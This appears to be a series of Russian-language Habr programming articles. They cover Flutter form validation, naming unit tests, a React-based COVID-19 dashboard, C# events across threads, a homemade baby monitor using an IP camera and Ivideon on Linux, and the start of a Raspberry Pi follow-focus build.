вернуться к нашему представлению `PostAddPage`: ``` class PostDetailPage extends StatefulWidget { @override _PostDetailPageState createState() => _PostDetailPageState(); } // не забываем поменять на StateMVC class _PostDetailPageState extends StateMVC { // _controller может быть null PostController? _controller; // получаем PostController _PostDetailPageState() : super(PostController()) { _controller = controller as PostController; } // TextEditingController'ы позволят нам получить текст из полей формы final TextEditingController titleController = TextEditingController(); final TextEditingController contentController = TextEditingController(); // _formKey нужен для валидации формы final _formKey = GlobalKey(); @override Widget build(BuildContext context) { return Scaffold( appBar: AppBar( title: Text("Post Add Page"), actions: [ // пункт меню в AppBar IconButton( icon: Icon(Icons.check), onPressed: () { // сначала запускаем валидацию формы if (\_formKey.currentState!.validate()) { // создаем пост // получаем текст через TextEditingController'ы final post = Post( -1, -1, titleController.text, contentController.text ); // добавляем пост \_controller!.addPost(post, (status) { if (status is PostAddSuccess) { // если все успешно то возвращаемя // на предыдущую страницу и возвращаем // результат Navigator.pop(context, status); } else { // в противном случае сообщаем об ошибке // SnackBar - всплывающее сообщение ScaffoldMessenger.of(context).showSnackBar( SnackBar(content: Text("Произошла ошибка при добавлении поста")) ); } }); } }, ) ], ), body: Padding( padding: EdgeInsets.all(15), child: \_buildContent(), ), ); } Widget \_buildContent() { // построение формы return Form( key: \_formKey, // у нас будет два поля child: Column( children: [ // поля для ввода заголовка TextFormField( // указываем для поля границу, // иконку и подсказку (hint) decoration: InputDecoration( border: OutlineInputBorder(), prefixIcon: Icon(Icons.face), hintText: "Заголовок" ), // указываем TextEditingController controller: titleController, // параметр validator - функция которая, // должна возвращать null при успешной проверки // и строку при неудачной validator: (value) { // здесь мы для наглядности добавили 2 проверки if (value == null || value.isEmpty) { return "Заголовок пустой"; } if (value.length < 3) { return "Заголовок должен быть не короче 3 символов"; } return null; }, ), // небольшой отступ между полями SizedBox(height: 10), // Expanded означает, что мы должны // расширить наше поле на все доступное пространство Expanded( child: TextFormField( // maxLines: null и expands: true // указаны для расширения поля maxLines: null, expands: true, textAlignVertical: TextAlignVertical.top, decoration: InputDecoration( border: OutlineInputBorder(), hintText: "Содержание", ), // указываем TextEditingController controller: contentController, // также добавляем проверку поля validator: (value) { if (value == null || value.isEmpty) { return "Содержание пустое"; } return null; }, ), ) ], ), ); } } ``` Логика работы следующая: 1. мы нажаем добавить новый пост 2. открывается окно с формой, вводим данные 3. если все ок, то возвращаемся на предыдущую страницу и сообщаем об этом иначе выводим сообщение об ошибке. Заключительный момент, добавим обработку результата в `PostListPage`: ``` floatingActionButton: FloatingActionButton( child: Icon(Icons.add), onPressed: () { // then возвращает объект Future // на который мы подписываемся и ждем результата Navigator.push(context, MaterialPageRoute( builder: (context) => PostDetailPage() )).then((value) { if (value is PostAddSuccess) { // SnackBar - всплывающее сообщение ScaffoldMessenger.of(context).showSnackBar( SnackBar(content: Text("Пост был успешно добавлен")) ); } }); }, ), ``` Теперь тестируем: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/fb7/120/cc0/fb7120cc00a75dcc572c407ef16ff6e2.png)![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/8c9/ab3/4f3/8c9ab34f36a0b088602a36034443b1b6.png)К сожалению [JSONPlaceholder](https://jsonplaceholder.typicode.com/) на самом деле не добавляет пост и поэтому мы не сможем его увидеть среди прочих постов. Заключение ---------- Я надеюсь, что убедил вас в том, что работа с формами на Flutter очень проста и не требует почти никаких усилий. Большая часть кода - это создание POST запроса на сервер и обработка ошибок. Полезные ссылки * [Исходный код на Github](https://github.com/KiberneticWorm/json_placeholder_app/tree/lesson_6_form) * [Build a form with validation (EN)](https://flutter.dev/docs/cookbook/forms/validation) * [Dart null safety](https://dart.dev/null-safety) Всем хорошего кода)
https://habr.com/ru/post/561174/
null
ru
null
# Вдохновение для юнит-тестов Много слов сказано о достоинствах юнит-тестов (TDD, [BDD](http://www.devclub.eu/2010/10/31/asolntsev-bdd/) — в данном случае неважно), а также о том, почему люди [всё-таки их не используют](http://habrahabr.ru/blogs/tdd/112685/). Но я думаю, что одна из главных причин заключается в том, что люди не знают, с чего начать. Вот прочитал я статью про юнит-тесты, понравилось; решил, что надо бы когда-нибудь попробовать. Но что дальше? С чего начать? Как придумывать все эти требования, как называть тест-методы? В последнее время набирает популярность тенденция [превращать юнит-тесты в BDD-спецификации](http://habrahabr.ru/blogs/tdd/107262/), то есть говорится о том, что хороший юнит-тест должен не тестировать что-то, а описывать поведение программы. Но как описать это чёртово поведение; откуда брать вдохновение, чтобы придумать названия для всех этих тест-кейсов? Об этом и пойдёт речь: Откуда брать вдохновение ======================== Однажды я пришёл к удивительному открытию: это вдохновение — повсюду, оно окружает нас каждый день. Тут и придумывать ничего не надо. Его можно просто брать и использовать. Это открытие показалось мне настолько важным, что я спешу непременно поделиться им со всеми. Итак, мой TOP-5 источников вдохновения для написания юнит-тестов. 5. Доклад начальнику -------------------- Каждое утро на собрании начальник спрашивает тебя: «Что ты вчера делал?». *— Багу исправлял.* Начальник так просто на слово не верит и продолжает докапываться: *— Какую багу? — Ну, исправил метод validateReferenceNumber. — Конкретнее, что ты там исправил? — Ну, раньше он грохался, если дать ему на входе пустую строку, а теперь он не падает, а возвращает false.* Gotcha! Видите, практически готовый юнит-тест висит в воздухе у вас перед носом. После собрания садитесь за компьютер и пишете: ``` public class ReferenceNumberTest { @Test public void emptyStringIsNotValidReferenceNumber() { assertFalse(validateReferenceNumber("")); } } ``` В идеале вы должны были это сделать ещё вчера, и тогда начальник мог бы посмотреть, какие юнит-тесты вы вчера добавили, и не мучать вас своими вопросами. Я не шучу, я знаю примеры весьма успешных компаний, в которых вместо Code Review делается ревью юнит-тестов. 4. Объяснения с коллегами ------------------------- К вам каждый день приходит какой-нибудь коллега и спрашивает: *— Слушай, я тут твой код дебажу-дебажу, а всё никак не могу понять, как это работает?* Ты ему терпеливо объясняешь: *— Ну как, ну смотри: сюда приходит Б, а отсюда выходит А. — Всё равно не понимаю, а почему А-то? — Ну потому, что для всех букв, которые меньше Я, этот метод должен возвращать следующую букву. — Ааа, вот теперь понятно.* И снова Gotcha! Вы, сами того не подозревая, только что сформулировали название тест-кейса. Мысленно послав +1 в карму коллеги, сели и написали: ``` public class NanoTechnologySecurityTest { @Test public void shouldReturnNextLetterForAllLettersExceptJa() { assertEquals("Б", encodeLetter("А")); } } ``` 3. Разговор с клиентом ---------------------- В любой прекрасный день клиент может позвонить и сказать: *— Помните, мы обсуждали, что все поля на форме должны валидироваться автоматически, как только поле теряет фокус? Так вот, я передумал. Я показывал бета-версию моей бабушке, и она сказала, что это не понятно, и вообще [ajax sucks](http://www.usabilityviews.com/ajaxsucks.html). Давайте поля будут валидироваться только тогда, когда клиент нажмёт кнопку «Submit»*. И опять Gotcha! Клиент только что сформулировал за нас текст тест-кейса. Мысленно послав -10 в карму клиента, мы сели и написали… UI тесты, конечно, чуток сложнее, чем обычные юнит-тесты, но это могло бы выглядеть как-то так: ``` public class TimotiFanClubRegistrationFormTest { @Test public void shouldValidateFieldsOnFormSubmission() { Form form = new Form(); assertTrue(form.isValid()); form.submit(); assertFalse(form.isSubmitted()); assertFalse(form.isValid()); form.setName("Baba Njura"); form.setEmail("Baba.Njura@yandex.ru"); form.submit(); assertTrue(form.isSubmitted()); } } ``` 2. Баг ------ Каждый день вы заходите в Jira (а кому совсем повезло — в [Pivotal Tracker](http://habrahabr.ru/blogs/pm/93137/)) и обнаруживаете, что в вашей программе зловредные тестировщики нашли-таки багу. Если вам повезло с тестировщиком, то описание баги звучит примерно так: «Если ввести три раза неправильный пароль, то учётная запись должна заблокироваться, а у меня не блокируется. Я уже раз пятнадцать ввёл.» Мысленно сказав тестировщику спасибо (хватит с него и спасиба, его карму всё равно не спасёшь), садимся и пишем: ``` public class LoginPageTest { @Test public void shouldBlockAccountAfter3UnsuccessfulTries() { LoginPage page = new LoginPage(); page.login("vasjok47", "Toiota"); page.login("vasjok47", "Tojota"); page.login("vasjok47", "tayota"); assertTrue(AccountDAO.getAccount("vasjok47).isBlocked()); } } ``` Есть даже отдельный термин для этого: [Bug driven development](http://habrahabr.ru/blogs/personal/69515/). Я сам этот подход не жалую, так как юнит-тесты (они же спецификация) всё-таки должны писаться ДО кода (основной принцип TDD), но как источник вдохновения баг-трекер вполне подходит. 1. Commit message (как это по-русски?) -------------------------------------- Это мой любимый пункт, на нём я хотел бы остановиться подробнее. Когда вы меняете код, для этого обычно есть причина. Причина обычно заключается в том, что вы хотите, чтобы этот код что-то делал по-другому (исключаем рефакторинг, улучшение производительности и расставление скобочек по фэншую). Допустим, был у нас код, который валидировал email. В частности, он проверял, что в конце email должна быть точка и два символа. И даже есть для него юнит-тест, всё как у людей. И тут [внезапно](http://lurkmore.ru/%D0%92%D0%BD%D0%B5%D0%B7%D0%B0%D0%BF%D0%BD%D0%BE) выясняется, что после точки может быть и больше букв, например, у некоторых клиентов email заканчивается на ".info". Сказано-сделано, код исправили, и даже в существующий юнит-тест добавили одну строчку: ``` public class EmailValidatorTest { @Test public void testValidateEmail() { assertTrue(validateEmail("timati@rambler.ru")); ... assertTrue(validateEmail("tina.turner@music.info")); // 4 letters now allowed! } } ``` И теперь хотим это дело закоммитить в [CVS](http://habrahabr.ru/blogs/development_tools/112648/) (а кому повезло, те в SVN, а кто вообще счастливчик, те в [GIT](http://habrahabr.ru/blogs/development/68341/)). Для коммита надо написать пояснение (commit message), в котором обычно пишут, а что же в коде изменилось. И вот пишите вы: ``` svn commit -m "Теперяча мыло и на четыре буквы может заканчиваться." ``` И вот это самая настоящая Gotcha! Это то, что нам надо. Не нажимайте пока enter. Остановились, выделили этот текст мышкой. Открыли класс юнит-теста. Написали [Test](https://habrahabr.ru/users/test/), вставили скопированный текст и перевели на английский. Можно немножко уточнить или обобщить по вкусу. ``` public class EmailValidatorTest { @Test public void validEmailShouldEndWithDotFollowedBySeveralLetters() { assertTrue(validateEmail("timati@rambler.ru")); ... assertTrue(validateEmail("tina.turner@music.info")); } } ``` Вот теперь можете смело закоммитить и мысленно послать +1 себе в карму. Сегодня мы смогли материализовать некоторые знания из воздуха во что-то более ощутимое. Теперь эти знания никуда не пропадут и будут автоматически проверяться при каждой сборке проекта. Ну не здоровско ли, а?
https://habr.com/ru/post/113487/
null
ru
null
# Информационная панель распространения Коронавируса COVID-19 (React + Chart.js + BootstrapTable) Я [выложил в "оупен-сорс"](https://github.com/trekhleb/covid-19) новую [**информационную панель распространения Коронавируса COVID-19**](https://trekhleb.github.io/covid-19/), которая позволяет анализировать динамику (кривизну графика) распространения Коронавируса для разных стран. ![Информационная панель распространения Коронавируса COVID-19](https://habrastorage.org/r/w1560/webt/yp/wj/re/ypwjre0s5e1kq92cxiqsfjtwmfa.png) ### Причина создания панели Новой информационной панелью я хотел дополнить довольно известную [Панель от университета Джонса Хопкинса](https://www.arcgis.com/apps/opsdashboard/index.html#/bda7594740fd40299423467b48e9ecf6) возможностью увидеть графики с количеством подтвержденных случаев, случаев выздоровления и случаев смерти от вируса COVID-19 для каждой страны (штата, региона, области). Меня лично интересовали вопросы типа: *"Замедляется ли кривая роста (скоро ли плато)?"*, *"Как я могу сравнить динамику кривых роста между двумя странами?"*, *"Какие страны применили лучшие карантинные меры для более быстрого достижения плато на графике?"* и т.п. Функциональность панели выглядит следующим образом: ![Coronavirus (COVID-19) Dashboard Demo](https://habrastorage.org/webt/nq/tk/gm/nqtkgm5pfhv7h1utgxsfd7qprxu.gif) ### Источники данных и технологический стек В качестве источника данных панель использует [COVID-19 (2019-nCoV) Репозиторий от Университета Джонса Хопкинса](https://github.com/CSSEGISandData/COVID-19). Браузерную часть панели я пытался сделать как можно более простой, путем использования "чистого" [React.js](https://reactjs.org/) (без `JSX` транспайлера, `npm` менеджера пакетов и `CreateReactApp` стартера). Для отображения данных на графике была использована библиотека [Charts.js](https://www.chartjs.org/), а для отображения данных в таблице была использована библиотека [Bootstrap Table](https://bootstrap-table.com/), которая дала возможность сортировать данные по колонкам, а так же выполнять поиск страны по ее названию. ### Основная функциональность Информационная панель достаточно минималистичная и довольно "сырая" (это всего-лишь ее первая версия), но уже в текущем состоянии она позволяет отображать мировую статистику, а так же статистику распространения вируса по странам визуально на графике. Например вот так выглядит мировая статистика с количеством зарегистрированных случаев, случаев выздоровления и случаев смерти на 23-е марта: ![Global data](https://habrastorage.org/r/w1560/webt/50/o7/t5/50o7t5owcduwjvpgmqbtiz7pz_y.png) Здесь мы можем увидеть, как Китаю удалось достигнуть "плато" на графике: ![China - Hubei statistics](https://habrastorage.org/r/w1560/webt/on/ob/lw/onoblworue3mtll8succj6rvkte.png) Мы также можем сравнить статистику по нескольким странам: ![Italy and Spain statistics](https://habrastorage.org/r/w1560/webt/qv/d2/q6/qvd2q68hdtbsjoribs1iuffuh-o.png) Страны отображаются в табличке, в которой можно выполнять сортировку и поиск: ![Data table](https://habrastorage.org/r/w1560/webt/gg/nk/fw/ggnkfwtxz2xsv_rlbghyzydkwtc.png) ### Существующие На данный момент перечисленная ниже функциональность еще не реализована, но в перспективе может улучшить UX приложения: * Группировка регионов по странам с возможностью посмотреть статистику по всей стране (например по США, Китаю и другим странам). * Возможность сбросить выбранные страны за один клик. * Добавление выбранных стран в URL для дальнейшей возможности поделиться ссылкой с уже заранее выбранными фильтрами.
https://habr.com/ru/post/493832/
null
ru
null
# События и потоки. Часть 1 Сразу скажу, что статья не про потоки, а про события в контексте потоков в .NET. Поэтому я не буду пытаться организовать работу потоков правильно (со всеми блокировками, колбэками, отменой и тд). Для правильной организации потоков есть другие статьи. Все примеры будут написаны на языке C# для версии фреймворка 4.0 (на 4.6 все несколько проще, но все еще есть много проектов на 4.0). Так же буду пытаться придерживаться версии C# 5.0. Во-первых хочу заметить, что для системы событий в .NET уже есть готовые делегаты, которые я очень советую вам использовать и не изобретать велосипедов. Например, я нередко встречал вот такие 2 способа организации событий: **Способ 1** ``` class WrongRaiser { public event Action MyEvent; public event Action MyEvent2; } ``` Данным способом я бы советовал пользоваться с осторожностью. Если его не универсализировать, то вы можете написать в итоге больше кода, чем могли бы, который, при этом, не будет задавать более четкую структуру, чем в случае со способами ниже. По своему опыту могу сказать, что я начинал работать с событиями именно так и в итоге попал в просак. Сейчас я бы уже этого не допустил, но в привычку уже вошли другие методы. **Способ 2** ``` class WrongRaiser { public event MyDelegate MyEvent; } class MyEventArgs { public object SomeProperty { get; set; } } delegate void MyDelegate(object sender, MyEventArgs e); ``` Этот способ вполне имеет право на жизнь, но его стоит использовать для частных случаев, когда по каким-либо причинам не подходит способ, описанный ниже. Иначе вы можете получить много монотонной работы. Теперь о том, что уже создано для событий. **Универсальный способ** ``` class Raiser { public event EventHandler MyEvent; } class MyEventArgs : EventArgs { public object SomeProperty { get; set; } } ``` Как видите, здесь мы используем универсальный класс EventHandler. То есть определять собственный хандлер нет необходимости. Для дальнейших примеров будет использован универсальный способ. Посмотрим на простейший пример генератора событий **Пример** ``` class EventRaiser { int _counter; public event EventHandler CounterChanged; public int Counter { get { return \_counter; } set { if (\_counter != value) { var old = \_counter; \_counter = value; OnCounterChanged(old, value); } } } public void DoWork() { new Thread(new ThreadStart(() => { for (var i = 0; i < 10; i++) Counter = i; })).Start(); } void OnCounterChanged(int oldValue, int newValue) { if (CounterChanged != null) CounterChanged.Invoke(this, new EventRaiserCounterChangedEventArgs(oldValue, newValue)); } } class EventRaiserCounterChangedEventArgs : EventArgs { public int NewValue { get; set; } public int OldValue { get; set; } public EventRaiserCounterChangedEventArgs(int oldValue, int newValue) { NewValue = newValue; OldValue = oldValue; } } ``` Имеем класс, который имеет свойство Counter и умеет изменять его от 0 до 10. Причем логика, которая меняет Counter, обрабатывается в отдельном потоке. А вот наша точка входа. ``` class Program { static void Main(string[] args) { var raiser = new EventRaiser(); raiser.CounterChanged += Raiser_CounterChanged; raiser.DoWork(); Console.ReadLine(); } static void Raiser_CounterChanged(object sender, EventRaiserCounterChangedEventArgs e) { Console.WriteLine(string.Format("OldValue: {0}; NewValue: {1}", e.OldValue, e.NewValue)); } } ``` То есть создаем экземпляр нашего генератора, подписываемся на изменение каунтера и в обработчике события выводим в консоль значения. Вот что мы получим в результате ![](https://habrastorage.org/files/ae9/218/50e/ae921850e62f4e4dbfe827ed31b86dfd.PNG) Пока все ровно. Но подумайте, а в каком потоке выполняется обработчик события? Задав этот вопрос коллегам, я получил ответ «в основном». Это означало, что никто из моих коллег не понимает как устроены делегаты. Я попытаюсь объяснить это на яблоках под спойлером, кто уже все знает, может не читать. **Устройство делегатов**Класс Delegate имеет информацию о методе. Есть еще его наследник MulticastDelegate, который имеет более одного элемента. Так вот, когда вы подписываетесь на событие, создается экземпляр наследника от MulticastDelegate. Каждый следующий подписчик добавляет в уже созданный экземпляр MulticastDelegate новый метод (обработчик события). И когда вы вызываете метод Invoke, для вашего события, начинают вызываться обработчики всех подписчиков по очереди. При этом поток, в котором вы вызываете эти обработчики ничего не знает о потоке, в котором они были заданы и соответственно не может в этот поток ничего подсунуть. В общем обработчики события в примере выше выполняются в потоке, порожденном в методе DoWork(). То есть при генерации события, поток, который его сгенерировал таким образом, дожидается выполнения всех обработчиков. Я докажу это без выдергивания Id потоков, просто логически. Для этого я изменил пару мест в примере выше **Доказательство того, что все обработчики в примере выше выполняются в потоке, вызвавшем событие**Метод, где у нас порождается событие: ``` void OnCounterChanged(int oldValue, int newValue) { if (CounterChanged != null) { CounterChanged.Invoke(this, new EventRaiserCounterChangedEventArgs(oldValue, newValue)); Console.WriteLine(string.Format("Event Raiser: old = {0}, new = {1}", oldValue, newValue)); } } ``` Обработчик ``` static void Raiser_CounterChanged(object sender, EventRaiserCounterChangedEventArgs e) { Console.WriteLine(string.Format("OldValue: {0}; NewValue: {1}", e.OldValue, e.NewValue)); Thread.Sleep(500); } ``` В обработчике мы усыпляем текущий поток на полсекунды. Если бы обработчики работали в основном потоке, то этого времени бы хватило, чтобы поток, порождаемый в DoWork() завершил свою работу и вывел свои результаты. Но вот что мы видим на самом деле. ![](https://habrastorage.org/files/f4b/4cc/fcf/f4b4ccfcf65741fabef4577ecd409413.PNG) Я не знаю, кто и как будет обрабатывать события, порожденные написанным мной классом, но мне не очень то хочется, чтобы эти обработчики могли повесить работу моего класса. Поэтому я буду использовать метод BeginInvoke вместо Invoke. BeginInvoke порождает новый поток. **Примечание**И метод Invoke и метод BeginInvoke не являются членами класса Delegate или MulticastDelegate, они являются членами сгенерированного класса (или для универсального класса уже описанного класса). Теперь, изменив метод, в котором генерируется событие, получаем следующее **Многопоточная генерация событий** ``` void OnCounterChanged(int oldValue, int newValue) { if (CounterChanged != null) { var delegates = CounterChanged.GetInvocationList(); for (var i = 0; i < delegates.Length; i++) ((EventHandler)delegates[i]).BeginInvoke(this, new EventRaiserCounterChangedEventArgs(oldValue, newValue), null, null); Console.WriteLine(string.Format("Event Raiser: old = {0}, new = {1}", oldValue, newValue)); } } ``` Два последних параметра у нас равны null. Первый — это колбэк, второй — некий параметр. Колбэк в данном примере я не использую, потому что пример промежуточный. Он может пригодится для обратной связи, например, чтобы класс, генерирующий событие, мог узнать, было ли обработано событие и/или, если нужно, получить результаты этой обработки, а так же, как подсказали в комментах, освобождает ресурсы, связанные с асинхронной операцией. Если запустим программу, получим такой результат ![](https://habrastorage.org/files/dd9/a75/33f/dd9a7533faac4d66bff0bb052b3688ce.PNG) Думаю, всем понятно, что теперь обработчики событий выполняются в отдельных потоках. То есть генератору событий теперь до лампочки, кто, как и как долго будет обрабатывать его события. Тут возникает еще вопрос, а как же последовательная обработка? У нас же Counter. А что если это была бы последовательная смена состояний? Но ответ на этот вопрос я вам не дам, это не касается темы текущей статьи. Могу лишь сказать, что способов несколько. Ну и еще. Чтобы не выполнять аналогичные действия раз за разом, предлагаю вынести их в отдельный класс. **Класс для генерации асинхронных событий** ``` static class AsyncEventsHelper { public static void RaiseEventAsync(EventHandler h, object sender, T e) where T : EventArgs { if (h != null) { var delegates = h.GetInvocationList(); for (var i = 0; i < delegates.Length; i++) ((EventHandler)delegates[i]).BeginInvoke(sender, e, h.EndInvoke, null); } } } ``` В данном случае мы используем колбэк. Выполняется он в том же потоке, что и обработчик. То есть после того, как метод обработчика завершился, делегат вызывает следом h.EndInvoke. Используем его вот так ``` void OnCounterChanged(int oldValue, int newValue) { AsyncEventsHelper.RaiseEventAsync(CounterChanged, this, new EventRaiserCounterChangedEventArgs(oldValue, newValue)); } ``` Думаю, теперь стало понятно (если не было), зачем нужен был универсальный способ. Если описывать события способом 2, то такая штука не прокатит. Ну или вам придется самостоятельно создавать универсальность для ваших делегатов. **UPDATE:**Для реальных проектов советую изменить архитектуру событий в контексте потоков. Описанные примеры могут навредить работе приложения с потоками и представлены только для эксперимента и в качестве ознакомления. ### Заключение Надеюсь, я смог донести информацию о том, как работают события и где работают обработчики. В следующей части я планирую углубиться и рассказать, как можно получить результаты обработки событий при асинхронном вызове. Жду комментариев с предложениями, дополнениями, вопросами.
https://habr.com/ru/post/321544/
null
ru
null
# Ребенок в семье гика или видеоняня своими руками ![](https://habrastorage.org/r/w780q1/storage2/45c/836/565/45c8365659ee1dcb8f5d0cd66f102382.jpg) Постоянно читаю хабр, но из-за январского отпуска мимо меня прошла статья [«Ребенок в семье гика или у нас свой подход»](http://habrahabr.ru/post/137107/). И только сейчас совершенно случайно наткнулся на неё в поисковике. Замечательная статья, автору огромный плюс! Там было такое предложение: “Многие покупают радионяню – такую радиостанцию, включающуюся от звука. Так вот, нафиг эту радионяню. Раз вы сидите на хабре, у вас наверняка есть роутер, а значит, самым оптимальным вариантом будет веб или IP-камера. А если добавить инфракрасную подсветку, то можно смотреть за ребенком и в темноте. Опять же можно время от времени подключаться с планшета и мониторить ситуацию.” А ведь он прав! В топку обычные радионяни! #### Вступление, которое можно и пропустить Итак, суть проблемы. Когда ребенок маленький, он, как правило, спит больше, чем взрослые. В такие периоды большинство родителей выключают звонок входной двери и звук у мобильных телефонов. Отчасти, потому что действительно заботятся о сне малыша, а отчасти, потому что немного эгоисты (кто знает, тот поймет) и думают о том, чем дольше он спит, тем будет спокойней. И самое важное в такие моменты быть всегда неподалеку. Если сон ребенка чуток, то он может периодически в полусне начать шевелиться и искать маму или папу. Если он находит, то спит дальше. А если нет, то о продолжении сна можно забыть. Именно для этого и придумали такие замечательные устройства как радио- и видеоняни. Оставляешь передающий блок в комнате ребенка и берешь с собой принимающий блок. Можно спокойно заниматься своими делами в другой комнате, слушая через приемный блок, что у ребенка все в порядке. Я сразу задумался именно о видеоняне, так как предпочитаю видеть, что все в порядке. Мало ли, вдруг у радионяни испортился микрофон? Самое простое, это взять и купить готовый комплект. И все бы хорошо, но у всех этих устройств есть существенное ограничение — радиус действия. Действительно, в пределах небольшой квартиры все более или менее может работать. А если вам понадобилось зайти к соседям (вас пригласили на День рождения, а ребенок спит)? #### Эврика! Я стал искать другое решение, чтобы снять ограничение радиуса действия и использовать по максимуму уже имеющееся оборудование. В будущем я планировал вести запись происходящего, если понадобится приглашать няню. У меня был не новый ноутбук Toshiba с установленным Debian и без дисплея. Да, да… отвернулся всего-лишь на 5 секунд, а ребенок решил дернуть за светящуюся штуку, называемую мышкой. Зайти на этот ноутбук можно только по SSH. Также у меня был iPad, на который я и хотел вывести картинку (Каюсь. Сам бы купил Android, но супруга захотела iPad. Осталось подобрать камеру. Сначала я хотел использовать Web-камеру. Но потом, решил, что тянуть провода не очень удобно и проще взять Wi-Fi IP-камеру. В результате нашел на одном из сайтов б/у камеру Edimax. ![](https://habrastorage.org/r/w780q1/storage2/ac2/62b/f99/ac262bf99d3136030b070b7b83c47d75.jpg) #### Да будет софт! Мой провайдер не предоставляет внешнего IP. Поэтому я хотел создать VPN тунель до одной из своих виртуалок, чтобы обращаться удаленно к серверу наблюдения через Интернет. Сначала по старинке я планировал использовать Motion. Стал искать на хабре опыт установки и наткнулся в комментариях на Ivideon. Сервис видео наблюдения через Интернет. Стал читать о них. Продвигаются подобно Team Viewer или Skype. Все бесплатно для некоммерческого использования. Посмотрел видео инструкцию как все запустить за 3 минуты: Cумел её повторить на втором ноутбуке с веб-камерой. Сразу увидел себя на iPad, правда с 4х секундной задержкой. Заработал звук, заработал просмотр ранее сделанных записей. Основной принцип. Для просмотра через Интернет требуется простая регистрация по e-mail (как я понял есть и локальный просмотр без интернета). После регистрации вы можете “прикрепить” по e-mail к личному кабинету любое количество камер. Есть управление правами и прочие штуки, но я ими не пользовался. Наиболее любопытная функция, ИМХО, это возможность вывести видео на свой сайт. Причем, судя по блогу [Ivideon](http://www.ivideon.ru/kak-vstroit-zhivoe-video-v-vash-blog-ili-sajt/), поддерживается не только просмотр на устройствах, где есть Flash, но и на Apple через HTML5. Вся беда в том, что у меня Linux, а у Ivideon софт для Windows. Ну, думаю, wine мне поможет. Стал искать в google, ставил ли кто-нибудь Ivideon под wine в Linux и нашел, что оказывается у них есть [Linux версия](http://www.ivideon.ru/ivideon-dlya-linux/). И там не один, а целых 2 варианта установки. Первый это готовый образ виртуальной машины, которую можно скачать и получить работающее решение. Видимо, для ленивых. А второй, это установка пакетов из APT репозитория. Здесь обязательна ремарка. Ivideon для Linux совсем не такой как для Windows. Он устанавливается как демон и конфигурируется с помощью Web-интерфейса. Чтение инструкции, copy-paste команд и через 15 миунут у меня все заработало даже без бубна! Я зашел в веб интерфейс и увидел то, что у них было показано на сайте, только без девушки :) ![](https://habrastorage.org/r/w780q1/storage2/835/a89/e8b/835a89e8bc4ae8fcbc329e64e1dc5f9d.jpg) Оффтоп. Интересно, эта девушка программист Ivideon? Больше всего мне понравилось то, что в самом web-интерфейсе есть краткое руководство пользователя! ![](https://habrastorage.org/r/w1560/storage2/cf6/7a0/337/cf67a033790ba5756f1e93f1feca9673.png) #### Установка ![](https://habrastorage.org/r/w1560/storage2/ebe/b82/fec/ebeb82fec1083cd0b9713604c3d9aa57.png) А теперь по порядку. На сайте Ivideon написано, что пакеты используются на продаваемых неттопах под управлением Linux. Поэтому пакеты во время установки модифицируют конфигурацию Apache и сайтом по умолчанию становится веб-интерфейс Ivideon. Для меня это не помеха. А тем, кто ставит на Desktop’ы, следует обратить на это внимание. Подключаем репозиторий Ivideon: ``` $ echo deb http://packages.ivideon.com/public/full_install stable non-free >/etc/apt/sources.list.d/ivideon.list $ wget -O - http://packages.ivideon.com/public/keys/ivideon.key | apt-key add - ``` Обновляем список пакетов и устанавливаем: ``` $ apt-get update $ apt-get install ivideon-server ``` Все. Готово. Теперь можно зайти в Web-интерфейс Ivideon Server, набрав в строке браузера <http://127.0.0.1/>. В моем случае это был не localhost, а адрес ноутбука. Пароль по умолчанию 123456. #### Впечатления Что я могу сказать? Пользуюсь не больше 3х недель. И все это время сам сервер крутится без падений и зависаний. Загрузка процессора позволяет подключить как минимум еще штук 10 таких камер. Конечно, аптайм 3 недели это не показатель, но все же. Смотрим видео из детской, находясь в большой комнате. Слышим звук. Уже два раза сходили в гости вместе с iPad’ом. Не полностью свыкся, что видео идет через серверы Ivideon. Именно поэтому включаю камеру только когда она нужна. С другой стороны, все равно у меня установлен Skype, Windows, TeamViewer и тонны другого софта, которые теоретически могут получить доступ к моей камере и микрофону. А почта на Google содержит куда больше приватной информации, чем видео из детской. В крайнем случае можно настроить прямой доступ в обход серверов Ivideon, благо они предоставляют функцию прямого подключения (видел в настройках). Камеру включаю и выключаю питанием. Подхватывается на лету. Видео архив пишется только когда в кадре есть движение. Хотя в случае с видеоняней оно особо ни к чему. Очень жалею, что купил камеру без инфракрасной подсветки. Поэтому пришлось потратиться на отдельный китайский инфракрасный “фонарик”, чтобы “видеть” в темноте. Из недостатков: — отсутствует приложение для Android. На сайте написано, что оно в разработке. Так бы смотрел на телефоне. — нет возможности удаленно включать и выключать камеру. Хотя, это не помешало бы. — если смотреть видео в личном кабинете и свернуть браузер, то оно начинает воспроизводится с того момента, когда браузер свернули. В остальном — полет нормальный.
https://habr.com/ru/post/141090/
null
ru
null
# Следящий фокус для зеркалки. Raspberry Pi + HC-SR04 + SG90 servo Данный пост описывает как за один вечер из говна и палок был сделан следящий фокус для зеркали. Видео того что получилось: <https://youtu.be/zsAiAQ65iUM> ### Предисловие Малина здесь избыточна, бесспорно. Но если речь идет о более сложном устройстве у которого следящий фокус является лишь одной из функций, то почему нет. Я не придумал ничего нового, просто взял и сделал за один вечер. Результат мне понравился, поэтому хочу поделиться с сообществом. ### Механика, крепление Для меня всегда камнем преткновения является механика. Найти говно и палки под руками, которые совместимы друг с другом, при этом позволят добиться поставленной цели — бывает сложно. Но в этот раз мне повезло. Выглядит прототип примерно так: ![](https://habrastorage.org/r/w780q1/webt/qf/a5/jl/qfa5jlzgtoepwasgyeb1i7he2mo.jpeg) В качестве шестерни на оси сервака я использовал крышку от коробки молока на которую приклеил остаток хомута-шестерни для объектива зеркалки. Крышка от молока в моем случае оказалась оптимального диаметра для регулировки у 50мм объектива. «Шестерню» приклеил с помощью цианоакрилата с содой к одному из коромысел идущих в комплекте к серво и прикрутил винтом. Для крепления конструкции к зеркалке надо винт с дюймовой резьбой, такой у меня нашелся от штатива-осьминога. В общем, конструкция как-то сама собой воплотилась в реальность: ![](https://habrastorage.org/r/w780q1/webt/k7/b7/c9/k7b7c9tdszfptotbgn6y0uo6dzc.jpeg) Без стяжек нынче сложно. Синяя изолента закончилась и пришлось крепить датчик на бумажный скотч. ### Электроника В качестве мозгов у меня выступает Raspberry Pi 3. Серво запитываю отдельным блоком питания на 24VDC с DC-DC Step Down преобразователем на LM2596 микросхеме на выходе которого 7.2В. Алгоритм работы прост до безобразия. Есть обратная связь по расстоянию до объекта от ультразвукового дальномера HC-SR04, которая преобразуется в угол поворота сервы SG-90. На оси сервы закреплена «шестеренка» которая вращает объектив через хомут-шестерню устанавливая фокусное расстояние. ### Код Подключение ультразвукового датчика 